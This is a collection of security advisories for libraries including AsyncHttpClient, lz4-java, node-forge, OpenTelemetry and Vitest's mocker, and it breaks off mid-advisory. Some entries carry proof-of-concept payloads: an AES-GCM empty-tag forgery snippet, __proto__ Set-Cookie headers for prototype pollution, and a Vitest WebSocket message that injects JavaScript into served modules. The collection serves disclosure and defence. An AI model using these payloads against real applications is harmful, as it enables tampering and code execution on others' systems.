The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.12 and 2.16.1, a proxied ws request is carried through CONNECT, but NettyRequestFactory.newNettyRequest and requestUri decide whether to attach proxy authentication and an absolute-form target only from whether the URI is secure. Because ws is not marked secure, the tunneled WebSocket upgrade sent to the origin includes the proxy's Proxy-Authorization value. Basic credentials are directly recoverable and Digest responses can be replayed or cracked offline. This issue is fixed in versions 3.0.12 and 2.16.1.
snappy-java is a Java port of the snappy, a fast C++ compresser/decompresser developed by Google. Prior to 1.1.10.9, Snappy.arrayCopy(Object src, int offset, int byteLength, Object dest, int destOffset) passes caller-supplied ranges to native memcpy without validating either array, allowing negative or oversized byteLength and offset values to read or write outside array bounds and crash the JVM. SnappyOutputStream.rawWrite and SnappyInputStream.rawRead, including their typed-array write and read methods, pass caller-controlled ranges through this primitive, and typed-array byte-size calculations can overflow int. This issue is fixed in version 1.1.10.9.
### Impact When a ws:// request is routed through an HTTP proxy with proxy authentication configured, the client tunnels the connection with an HTTP CONNECT, the same as it does for https://. Once the tunnel is open, the WebSocket upgrade request that follows is sent through the tunnel directly to the origin server, not to the proxy. The proxy-auth gate and the companion request-target selection keyed only on whether the URI was secured, which is false for ws://, so the tunnelled upgrade request incorrectly carried the proxy's Proxy-Authorization header and an absolute-form request target meant for the proxy. Any origin server reached over a proxied ws:// connection, or anyone positioned on the origin side of the wire, could recover the proxy credentials: directly for Basic, or as a replayable and offline-crackable response for Digest. ### Affected versions * 3.x: up to and including 3.0.11 * 2.x: up to and including 2.16.0 ### Patches Fixed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. The preemptive Proxy-Authorization header and the absolute-form request target are no longer attached to a tunnelled ws:// upgrade; a ws:// request is now treated like wss://. ### Workarounds Do not use proxy authentication together with ws:// requests through an HTTP proxy, or use wss:// instead. ### Details The proxy-auth gate in NettyRequestFactory#newNettyRequest and the sibling branch in requestUri() did not exclude WebSocket URIs, even though the CONNECT-tunnelling check in NettyRequestSender already tunnels ws:// through CONNECT exactly like https://. Note that 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Upgrade to 3.0.13 to pick up both fixes.
### Summary The forge TLS client's check for a missing server certificate read the wrong property and never ran. A malicious TLS server, or an on-path attacker who removes the server's Certificate message, can make `connection.process()` throw a `TypeError`, which crashes applications that use the forge TLS client. Fixed in node-forge 1.4.1. ### Details After ServerHelloDone, `tls.handleServerHelloDone()` in `lib/tls.js` is meant to reject a server that sent no certificate with a fatal `insufficient_security` alert, after consulting the application's `verify` callback. The check tested `c.serverCertificate`, which is never set (the certificate is stored as `c.session.serverCertificate`), so it never ran. The client state machine allows ServerHelloDone directly after ServerHello, so the handshake continued to `tls.createClientKeyExchange()`, which reads `c.session.serverCertificate.publicKey` and throws a `TypeError` on the null certificate. The exception propagates out of `connection.process()` without calling the `verify` or `error` callbacks. There is no authentication bypass: without a server certificate the client cannot build its RSA key exchange, so the handshake cannot complete. The fix reads `c.session.serverCertificate` and always fails the handshake in that case, still calling `verify` so the application can customize the alert. Failing even when `verify` returns `true` is needed because the key exchange requires the certificate. #### Patches Fixed in node-forge 1.4.1. The TLS client fails the handshake with an `insufficient_security` alert when the server sends no certificate. #### Workarounds Catch exceptions thrown by `connection.process()` in the code that feeds it network data, and close the connection when one occurs. #### Credits Reported by @arpitjain099. ### Proof of concept Connect a forge TLS client (`forge.tls.createConnection({server: false, ...})`) to a server whose first flight contains ServerHello and ServerHelloDone but no Certificate message. For example, run a forge TLS server and remove the Certificate handshake message (type 11) from its first flight before passing it to the client's `process()`. On 1.4.0 the client's `process()` throws "TypeError: Cannot read properties of null (reading 'publicKey')", and the `verify` and `error` callbacks are not called. On 1.4.1 the client calls `verify` with `insufficient_security` and no certificates, calls `error` with "No server certificate provided. Not enough security.", sends a fatal alert and closes the connection. Regression tests are in tests/unit/tls.js ("missing server certificate"). ### Impact Applications that use the forge TLS client (`forge.tls.createConnection` with `server: false`) are affected. A malicious server the application connects to, or an on-path attacker who can modify the unauthenticated handshake, can make the client throw from `connection.process()`. Since `process()` is normally called from a socket data handler, the uncaught exception terminates a Node.js process. There is no confidentiality or integrity impact. Applications using Node.js's own TLS implementation are not affected.
### Summary The AES-GCM mode in forge.cipher does not validate the tagLength option passed to start(). With a tagLength of 0 or a value that converts to 0 (such as null, false, '' or '0'), the authentication tag is empty, and decipher.finish() returns true for any ciphertext and additional data when the supplied tag is empty or missing. Fixed in node-forge 1.4.1. ### Details `modes.gcm.prototype.start()` in `lib/cipherModes.js` stored the `tagLength` option without validation, and `lib/cipher.js` documented it as accepting "0-128". After processing the data, `afterFinish()` truncates the 16-byte tag with `truncate(16 % (tagLength / 8))`. For a `tagLength` that converts to 0, this is `16 % 0 = NaN`, and truncating by `NaN` empties the tag. On decryption, the start-time check that the supplied `tag` has `tagLength / 8` bytes passes for an empty tag, and the final tag comparison compares two empty strings, so `decipher.finish()` returns `true` for any ciphertext and additional data. NIST SP 800-38D section 5.2.1.2 allows only tag lengths of 128, 120, 112, 104 and 96 bits, plus 64 and 32 bits for certain applications. The fix validates `tagLength` in `start()`, for both encryption and decryption. A missing, `null` or `undefined` `tagLength` uses the default of 128 bits. Any other value is converted with `Number()` and must be one of 128, 120, 112, 104, 96, 64 or 32; otherwise `start()` throws "Invalid tag length.". Numeric strings such as `'128'` are still accepted. With a validated `tagLength`, an empty tag no longer matches the expected tag length and is rejected. ### Patches Fixed in node-forge 1.4.1. `cipher.start()` now throws an error unless `tagLength` is one of the tag lengths allowed by NIST SP 800-38D (128, 120, 112, 104, 96, 64 or 32 bits); a `null` or `undefined` `tagLength` means the default of 128 bits. ### Workarounds Do not derive `tagLength` from received data. Pass a fixed `tagLength` (or omit it to use the default of 128 bits), and check that the received tag has the expected length before calling `start()`, for example `if(tag.length !== 16) { throw new Error('Invalid tag.'); }` before `decipher.start({iv: iv, tag: tag});`. ### Proof of concept Start an AES-GCM decipher with `tagLength: 0` and an empty tag, as an application does when it derives the tag length from a received empty tag, and feed it arbitrary bytes that were never encrypted under the key: ```js var decipher = forge.cipher.createDecipher('AES-GCM', key); decipher.start({iv: iv, tag: '', tagLength: 0}); decipher.update(forge.util.createBuffer('any attacker-chosen bytes')); decipher.finish(); // <= 1.4.0: true // 1.4.1: start() throws "Invalid tag length." ``` `tagLength` values `null`, `false` and `'0'` (with an empty tag), and `tagLength: 0` with no `tag` option, give the same result on <= 1.4.0. The fix adds regression tests in `tests/unit/aes.js`. ### Impact Applications that decrypt AES-GCM data with `forge.cipher.createDecipher()` (`'AES-GCM'`) and pass a zero-like `tagLength` are affected. Typical cases are a tag length derived from the received tag, or an unset configuration value: ```js var decipher = forge.cipher.createDecipher('AES-GCM', key); decipher.start({iv: iv, tag: receivedTag, tagLength: receivedTag.length * 8}); decipher.update(forge.util.createBuffer(receivedCiphertext)); if(decipher.finish()) { /* attacker-supplied data accepted */ } ``` An attacker who can send a ciphertext with an empty tag to such an application can make it accept attacker-chosen ciphertext as authentic. Because GCM encryption is a stream cipher, an attacker who knows (part of) a captured message's plaintext can also change that plaintext to chosen values. The default (no `tagLength` option, 128 bits) and any fixed valid `tagLength` are not affected.
### Impact `.` and `#` are not word delimiters in the tokenizer, so a flat selector such as `.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id indexes. Three passes scanned those index arrays linearly for every index, making the parse O(n^2) in the number of indexes rather than in input length: `uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter. Parsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a single thread. A benign selector of identical byte size parses in tens of milliseconds, so the cost is driven by the index count, not the input size. The nesting depth of such a selector is 0, so the `maxNestingDepth` guard added in 7.1.3 offers no protection. Reachability is deployment dependent. Only consumers that parse untrusted, attacker-supplied selectors synchronously in a request path are exposed, for example CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary build-time use on trusted sources is not affected. ### Patches Fixed in 7.1.6. The three passes now use Set membership tests, making parsing linear in the number of indexes. There is no behaviour change: parsing is byte-identical on a differential corpus of 8413 selectors. ### Workarounds Cap the size of selectors accepted from untrusted sources before parsing.
### Impact `Snappy.arrayCopy(Object src, int offset, int byteLength, Object dest, int destOffset)` called a native `memcpy` without validating the ranges. A negative or oversized `byteLength` or offset read or wrote outside the arrays and crashed the JVM. `SnappyOutputStream.rawWrite` and `SnappyInputStream.rawRead`, and therefore the typed-array `write`/`read` methods, pass caller-supplied ranges to this method. ### Patches Fixed in 1.1.10.9 (#741). `Snappy.arrayCopy` checks both ranges before copying. The stream `read`/`write` methods validate offsets and lengths, and reject typed-array ranges whose byte size overflows `int`. ### Workarounds Validate offsets and lengths before calling these methods.
Incorrect Authorization (CWE-863) in Elasticsearch can lead to unauthorized data stream modification via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user with sufficient privileges over a single resource could use the Modify Data Streams API to modify a data stream to which they were not otherwise authorized, potentially injecting data into it or affecting its ability to be searched normally. This issue does not allow an attacker to read the contents of a data stream they do not otherwise have access to.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.4, net.jpountz.lz4.LZ4FrameInputStream readHeader() allocates two new 4 MiB block buffers whenever a maximum-block-size frame header is read, and the default concatenated-frame mode allows attacker-controlled streams containing many minimal empty frames to trigger roughly 8 MiB of allocation for every 11 input bytes. The stream produces no decompressed output while consuming CPU and garbage-collection time, so decompressed-size limits do not mitigate the issue; readSingleFrame mode is not affected. This issue is fixed in version 1.11.4.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.2, net.jpountz.lz4.LZ4BlockInputStream refill() validates that the compressedLen field in a legacy LZ4Block header is nonnegative but allocates a compressed-input buffer of that attacker-controlled size before reading payload data, allowing a header-only stream to request a near-2 GiB allocation and exhaust the JVM heap. Canonical writers emit raw blocks when compression is not smaller than the original block, but vulnerable readers accept non-canonical oversized compressed blocks. This issue is fixed in version 1.11.2.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.2, LZ4DecompressorWithLength uses getDecompressedLength to trust the four-byte decompressed-length header before validating the compressed input, allowing a five-byte attacker-supplied input whose header declares a large output size to request up to approximately 2 GiB and exhaust the JVM heap. Convenience overloads backed by LZ4FastDecompressor or LZ4SafeDecompressor allocate the untrusted size, while overloads that write to a caller-provided destination buffer are not affected because the caller controls the destination size. This issue is fixed in version 1.11.2.
opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.67.0, W3CTraceContextPropagator.extract() uses regex delimiter processing that can exhibit quadratic backtracking while parsing tracestate headers containing long runs of spaces or tabs without a following comma. An unauthenticated attacker whose headers reach extraction can repeatedly block request or event-loop threads and cause excessive CPU consumption, with practical impact bounded by ingress header-size limits, proxy configuration, and threading. This issue is fixed in version 1.67.0.
### Summary `LZ4BlockInputStream` grows its compressed-input buffer to the attacker-controlled `compressedLen` value from the legacy `LZ4Block` stream header before reading any payload bytes. A header-only input can therefore trigger a near-2 GiB allocation and exhaust the JVM heap. ### Details In `net.jpountz.lz4.LZ4BlockInputStream`, `refill()` validates that `compressedLen` is nonnegative but does not cap it before allocation: ```java case COMPRESSION_METHOD_LZ4: if (compressedBuffer.length < compressedLen) { compressedBuffer = new byte[Math.max(compressedLen, compressedBuffer.length * 3 / 2)]; } readFully(compressedBuffer, compressedLen); ``` The paired `LZ4BlockOutputStream` never emits such a block. If compression is not smaller than the original block, it writes the block as RAW: ```java if (compressedLength >= o) { compressMethod = COMPRESSION_METHOD_RAW; compressedLength = o; } else { compressMethod = COMPRESSION_METHOD_LZ4; } ``` Existing readers generally accept noncanonical LZ4-method blocks where `compressedLen >= originalLen`, but no canonical writer found produces them. ### Impact Applications that pass attacker-controlled legacy `LZ4Block` streams to `LZ4BlockInputStream` can suffer heap exhaustion from a header-only input. The impact is availability-only and requires no valid compressed payload. ### Patch As of lz4-java 1.11.2, lz4-java rejects lz4 blocks where the compressed length is larger than uncompressed. Readers would generally emit these as raw blocks instead. You can use the new `acceptOversizedBlocks` flag to restore the old behavior, but this reintroduces the DoS vector.
### Summary `LZ4DecompressorWithLength.decompress(byte[], int)` allocates whatever size the 4-byte length header declares, before it reads a single byte of compressed data. A 5-byte input whose header says `0x40000000` makes the JVM commit a gigabyte and can cause heap exhaustion. ### Details `net.jpountz.lz4.LZ4DecompressorWithLength` reads the header and passes it straight on: ```java final int destLen = getDecompressedLength(src, srcOff); return fastDecompressor.decompress(src, srcOff + 4, destLen); ``` and `net.jpountz.lz4.LZ4FastDecompressor` allocates it: ```java public final byte[] decompress(byte[] src, int srcOff, int destLen) { final byte[] decompressed = new byte[destLen]; decompress(src, srcOff, decompressed, 0, destLen); return decompressed; } ``` `getDecompressedLength` performs no validation: no comparison against `src.length`, no ceiling, no rejection of negatives. `LZ4SafeDecompressor.decompress(byte[], int, int, int)` has the same shape with `maxDestLen`. The sibling overload that callers pass their own buffer to, `decompress(src, srcOff, dest, destOff, destLen)`, is fine, because there `destLen` is chosen by the caller rather than by the input. The bug is specific to the convenience overloads that take the size from the header, and that difference is the whole finding. ### Impact Any application that decompresses attacker-supplied LZ4 frames through the with-length convenience API can be made to allocate up to 2 GiB per call from a 5-byte message. On a service that decompresses request bodies, a few concurrent 5-byte requests exhaust the heap. No privileges are needed, only the ability to get bytes into the decompressor. Confidentiality and integrity are untouched.
### Summary OpenTelemetry Java's W3C trace-context propagator permits excessive CPU consumption when extracting crafted `tracestate` headers, potentially leading to denial of service. Regex backtracking causes quadratic parsing time for headers containing long runs of spaces or tabs without a following comma. ### Impact An unauthenticated attacker whose headers reach `W3CTraceContextPropagator.extract()` can cause excessive CPU usage through crafted requests. Parsing blocks the calling thread, potentially affecting other connections when extraction runs on a shared event-loop thread. Actual impact depends on ingress header-size limits, proxy configuration, and threading. Header-size limits reduce the per-request cost but do not eliminate the vulnerability. ### Patches Upgrade `io.opentelemetry:opentelemetry-api` to version **1.67.0** or later. [PR #8914](https://github.com/open-telemetry/opentelemetry-java/pull/8914) replaces regex delimiter splitting with literal comma scanning and explicit whitespace trimming. ### Workarounds If upgrading is not possible, reject or remove oversized `tracestate` headers before trace-context extraction. This reduces the per-request parsing cost but does not eliminate the risk from repeated requests.
### Summary `LZ4FrameInputStream` allocates two new buffers of the frame's maximum block size, up to 4 MiB each, every time it reads a frame header. Because concatenated frames are read by default, an input made of many minimal empty frames forces about 8 MiB of zeroed heap allocation for every 11 input bytes. ### Details In `net.jpountz.lz4.LZ4FrameInputStream.readHeader()`: ```java maxBlockSize = frameInfo.getBD().getBlockMaximumSize(); compressedBuffer = new byte[maxBlockSize]; // Reused during different compressions rawBuffer = new byte[maxBlockSize]; buffer = ByteBuffer.wrap(rawBuffer); ``` This runs for every frame, and the previous frame's arrays are never reused. A valid 11-byte frame consists of the magic number, FLG `0x60`, BD `0x70` (4 MiB blocks), the header checksum, and an immediate end mark. It carries no data, yet triggers the full 8 MiB allocation. `new LZ4FrameInputStream(in)` reads concatenated frames by default. In local measurements on JDK 25, 10,000 such frames (110 KB of input) took about 8 seconds of CPU to read, roughly 70 seconds per MiB of input. This was similar under G1, Parallel, Serial and ZGC. A legitimate stream costs orders of magnitude less per input byte. ### Impact Applications that decode attacker-controlled LZ4 frame data with `LZ4FrameInputStream` can be made to spend large amounts of CPU and GC time relative to the input size. Live heap stays bounded at about 8 MiB and the stream produces no output, so decompressed-size limits do not help. Cost grows linearly with input size, so the practical limit is the compressed input size the application accepts. Availability impact only. Applications using `readSingleFrame = true` perform only one allocation and are not affected. ### Patch Fixed in lz4-java 1.11.4. `LZ4FrameInputStream` now allocates its block buffers only when a block needs them and reuses them across frames, never shrinking them. The content checksum hash and the skippable-frame skip buffer are also reused instead of being created for every frame. Decompression is limited to the current frame's maximum block size. For older versions, the workaround is to limit the compressed input size accepted from untrusted sources, or use single-frame mode where that is sufficient.
### Summary The `forge.http` client stored cookies from `Set-Cookie` response headers in a plain object keyed by cookie name and path. A malicious server could use the cookie name `__proto__` to add properties to `Object.prototype`, use inherited names such as `constructor` to add properties to `Object`, and send an empty cookie value to delete `Object.prototype` properties. Fixed in node-forge 1.4.1. ### Details `client.setCookie()` in `lib/http.js` stored a cookie with `client.cookies[cookie.name][cookie.path] = cookie`, creating `client.cookies[cookie.name]` only when `!(cookie.name in client.cookies)`. Both values come from the server's `Set-Cookie` header via `response.getCookies()`. Because `in` also sees inherited properties: - a cookie named `__proto__` skipped the initialization, `client.cookies['__proto__']` returned `Object.prototype`, and the cookie path was written as a new `Object.prototype` property, visible on every object; - a cookie named `constructor` wrote onto the global `Object` function the same way; - a cookie with an empty value calls `client.removeCookie(name, path)`, which used the same `in` checks and then `delete client.cookies[name][path]`, so `Set-Cookie: __proto__=; path=toString` deleted `Object.prototype.toString`. This path skipped the cookie's secure-flag and domain checks, so it also worked for `http://` clients. `forge.http` is not loaded by `require('node-forge')`. It is included in the `forge.all` browser bundle and is used with a socket pool, for example by `forge.xhr`. The fix uses own-property checks for the cookie store and ignores cookies named `__proto__` or with the path `__proto__`. #### Patches Fixed in node-forge 1.4.1. Cookies from a server can no longer add or remove properties of `Object.prototype` or `Object`. #### Workarounds Don't use `forge.http` or `forge.xhr` with servers that aren't trusted, or filter `Set-Cookie` headers named `__proto__`, `constructor` or other `Object.prototype` property names before they reach the client. #### Credits Reported by @arunmozhivarman-dtx and @Dremig. ### Proof of concept A server response for a `forge.http` client (`http.createClient({url: 'https://...', socketPool: ...})`) containing: Set-Cookie: __proto__=evil; path=polluted On 1.4.0, after the client processes the response, `({}).polluted` is the cookie object. With `Set-Cookie: __proto__=; path=toLocaleString`, `Object.prototype.toLocaleString` is deleted (for `http://` and `https://` clients). On 1.4.1 these cookies are ignored and `Object.prototype` is unchanged. Regression tests are in tests/security/ghsa-6wvx-3r32-xmcg.js. ### Impact Applications that use the `forge.http` client (directly, or through `forge.xhr` in the `forge.all` browser bundle) against a server that can be malicious are affected. The server can add properties to `Object.prototype` and `Object` for the whole JavaScript realm, which can change application logic that reads properties from plain objects, and can delete built-in `Object.prototype` methods, breaking the page or process. Applications that don't use `forge.http` are not affected.
Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.
### Summary `@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin. Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator. ### Patches Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code. Projects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3. ### Details `packages/mocker/src/utils.ts:6-9` builds module source by string interpolation: ```ts export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string { const source = ` const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}"); ` ``` `moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation. `packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket: ```ts configureServer(server) { if (options.registerWebSocketEvents === false) { return } server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => { if (event.type === 'manual') { const module = ManualMockedModule.fromJSON(event, async () => { const keys = await getFactoryExports(event.url) return Object.fromEntries(keys.map(key => [key, null])) }) registry.add(module) // no validation of `id` or `url` } else { if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ } ``` `event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id. With `url = 'x"); globalThis.ARES_INJECTED = 1; void("'` a request for `/src/app.js` is answered with valid, executable JavaScript: ```js const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void(""); ``` `getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__["X"]`, `export { __0 as "X" }` and `resolvedModule["X"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one. **Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published. ### PoC `poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it. Environment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64. ```bash git clone https://github.com/vitest-dev/vitest && cd vitest git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a pnpm install && pnpm build REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh ``` Required configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way): ```ts import { interceptorPlugin } from '@vitest/mocker/node' export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin() ``` The attack is one WebSocket message to `ws://<host>:<port>/` with subprotocol `vite-hmr`: ```json { "type": "custom", "event": "vitest:interceptor:register", "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>", "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } } ``` then answering the server's `vitest:interceptor:resolve` with `{"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used. Observed output: ``` PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400 PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400 PASS negative control: with no mock registered the real module is served PASS negative control: a mock with a harmless url replaces the module but injects nothing --- module served for /src/app.js --- const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void(""); let __0 = __factoryModule__["a"] export { __0 as "a" } if (__factoryModule__.__factoryPromise != null) { __factoryModule__.__factoryPromise.then((resolvedModule) => { __0 = resolvedModule["a"]; }) } PASS attacker statement is present in the module the dev server serves PASS the real module body was replaced PASS the injected module parses as JavaScript (Vite import analysis accepted it) RESULT: VULNERABLE ``` * **Positive control** — with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works. * **Negative control** — the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration. * **Precondition controls** — the two `Origin` probes record the boundary honestly. * Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript. Reproduced three times from a clean `mktemp` fixture, exit 0 each time. ### Impact Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only — `configureServer` does not run for `vite build` or `vite preview`. ### Credits - Thai Son Dinh from VinSOC Labs (R&D) Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.4, net.jpountz.lz4.LZ4BlockInputStream configured with stopOnEmptyBlock set to false handles each well-formed empty LZ4Block by recursively calling refill(), allowing a long sequence of empty blocks in an attacker-controlled compressed stream to exhaust the decoding thread's stack and throw StackOverflowError. The default stopOnEmptyBlock setting is true and is not affected, and the issue does not cause memory corruption. This issue is fixed in version 1.11.4.
fast-uri is a dependency-free RFC 3986 URI parser and serializer for Node.js. In versions before 2.4.8, from 3.0.0 through 3.1.8, and from 4.0.0 through 4.2.2, the normalize() and serialize() functions apply RFC 3986 dot-segment removal to the path of a relative-path reference, even though that algorithm is defined only for the merged target path during resolution, so a leading parent-directory segment can be dropped and a document-relative reference can become root-relative. An application that normalizes an attacker-supplied or user-supplied relative reference and then resolves it, or uses it as a cache, deduplication, or authorization key, can have the reference escape its intended directory and point at a different resource. The issue is fixed in fast-uri 2.4.8, 3.1.9, and 4.2.3, and users should upgrade to one of these versions or later. As a workaround, resolve a relative reference against its absolute base first and normalize the absolute result instead of normalizing the reference beforehand.
fast-uri is a dependency-free RFC 3986 URI parser and serializer for Node.js. In versions before 2.4.8, from 3.0.0 through 3.1.8, and from 4.0.0 through 4.2.2, when serialize(), normalize(), or resolve() are called with the non-default option reference set to suffix on a reference that has no authority, the emitted relative reference can contain a bare colon in its first path segment without escaping it, even though RFC 3986 forbids that because it makes the string reparse as an absolute URI with a scheme. An application that serializes or normalizes a relative reference with the suffix option and then treats the result as a URI can turn inert input into a live javascript, data, or vbscript URL, a cross-site scripting vector, and the equal() comparison can conflate a scheme-bearing reference with a relative one. Exposure is limited to applications using the non-default suffix reference option. The issue is fixed in fast-uri 2.4.8, 3.1.9, and 4.2.3, and users should upgrade to one of these versions or later. As a workaround, avoid the suffix reference option on untrusted input, or percent-encode a colon in the first path segment of the result before treating it as a URI.
### Summary When `LZ4BlockInputStream` is configured with `stopOnEmptyBlock = false` (the mode for reading concatenated block streams), it handles each empty block by calling `refill()` recursively. A long run of empty blocks exhausts the thread stack and throws `StackOverflowError` out of `read()` or `skip()`. ### Details In `net.jpountz.lz4.LZ4BlockInputStream.refill()`: ```java if (originalLen == 0 && compressedLen == 0) { if (check != 0) { throw new IOException("Stream is corrupted"); } if (!stopOnEmptyBlock) { refill(); } else { finished = true; } return; } ``` Each well-formed empty block is 21 bytes and adds one stack frame, with no limit on nesting depth. In local testing, around 10,000 to 100,000 consecutive empty blocks (about 210 KB to 2.1 MB, depending on JIT state and thread stack size) threw `StackOverflowError`. `StackOverflowError` is an `Error`, not an `IOException`, so callers that only handle I/O errors for corrupt input don't catch it. ### Impact Applications that decode attacker-controlled `LZ4Block` streams with `LZ4BlockInputStream.newBuilder().withStopOnEmptyBlock(false)` or the deprecated `LZ4BlockInputStream(InputStream, boolean)` constructor can have the decoding thread fail with `StackOverflowError`. The default configuration (`stopOnEmptyBlock = true`) is not affected. There is no memory corruption. Availability impact only. ### Patch Fixed in lz4-java 1.11.4. Empty blocks are now skipped in a loop instead of by recursion, so any number of consecutive empty blocks uses constant stack space. For older versions, the workaround is to use the default `stopOnEmptyBlock = true` for untrusted input, or catch `StackOverflowError` around the read loop.
### Summary When a CA store created by `pki.createCaStore()` holds two or more certificates with the same subject name, `pki.verifyCertificateChain()` permanently removes those certificates from the store while trying each one as the issuer. A peer can send any certificate that names that subject as its issuer to make all later verifications against those CA certificates fail. Fixed in node-forge 1.4.1. ### Details `pki.verifyCertificateChain()` (`lib/x509.js`) asks the CA store for the issuer of each certificate with `caStore.getIssuer()`. When the store holds several certificates with the same subject, `caStore.getIssuer()` returns the store's own internal array of those certificates (`caStore.certs[hash]`, built by `addCertificate()`). `verifyCertificateChain()` used that array directly as its list of candidate parents and called `parents.shift()` on it while trying each candidate. Every candidate it tried, including the one that finally verified the certificate, was removed from the store. Once the array is empty, `getIssuer()` returns an empty list, no candidate is tried, and verification fails with "Certificate signature is invalid." `hasCertificate()` and `listAllCertificates()` no longer see the removed certificates. The store stays in this state for as long as the object is used. The attacker's certificate only needs an issuer name equal to the shared subject name, which is public. Its signature and key can be arbitrary: every candidate is tried and shifted out because none verifies, and errors from `parent.verify()` are caught by the loop. Verification of the attacker's chain fails as expected. Verifying valid chains has a similar effect: the CA certificate that verified the chain and any tried before it are removed. No chain is accepted that should be rejected. Removing candidates can only turn a success into a failure. RFC 5280, Section 6.1.1(d) treats trust anchor information as an input to path validation. Validation should not consume it. The fix copies the array returned by `getIssuer()` before iterating over it, so the CA store is no longer modified. `getIssuer()` itself is unchanged. ### Patches Fixed in node-forge 1.4.1. `pki.verifyCertificateChain()` now works on a copy of the candidate issuer list instead of shifting entries out of the CA store. ### Workarounds - Pass a fresh CA store to each `pki.verifyCertificateChain()` call (for example `pki.createCaStore(trustedCerts)`), or pass `caStore` to `forge.tls.createConnection()` as an array of certificates instead of a store object, so that forge creates a new store per connection. - Or wrap the store so that `getIssuer()` returns a copy: var getIssuer = caStore.getIssuer; caStore.getIssuer = function(cert) { var r = getIssuer(cert); return Array.isArray(r) ? r.slice() : r; }; ### Proof of concept Two trusted self-signed CA certificates, `rootA` and `rootB`, share the subject `CN=Root`. `bogus` is any certificate whose issuer is 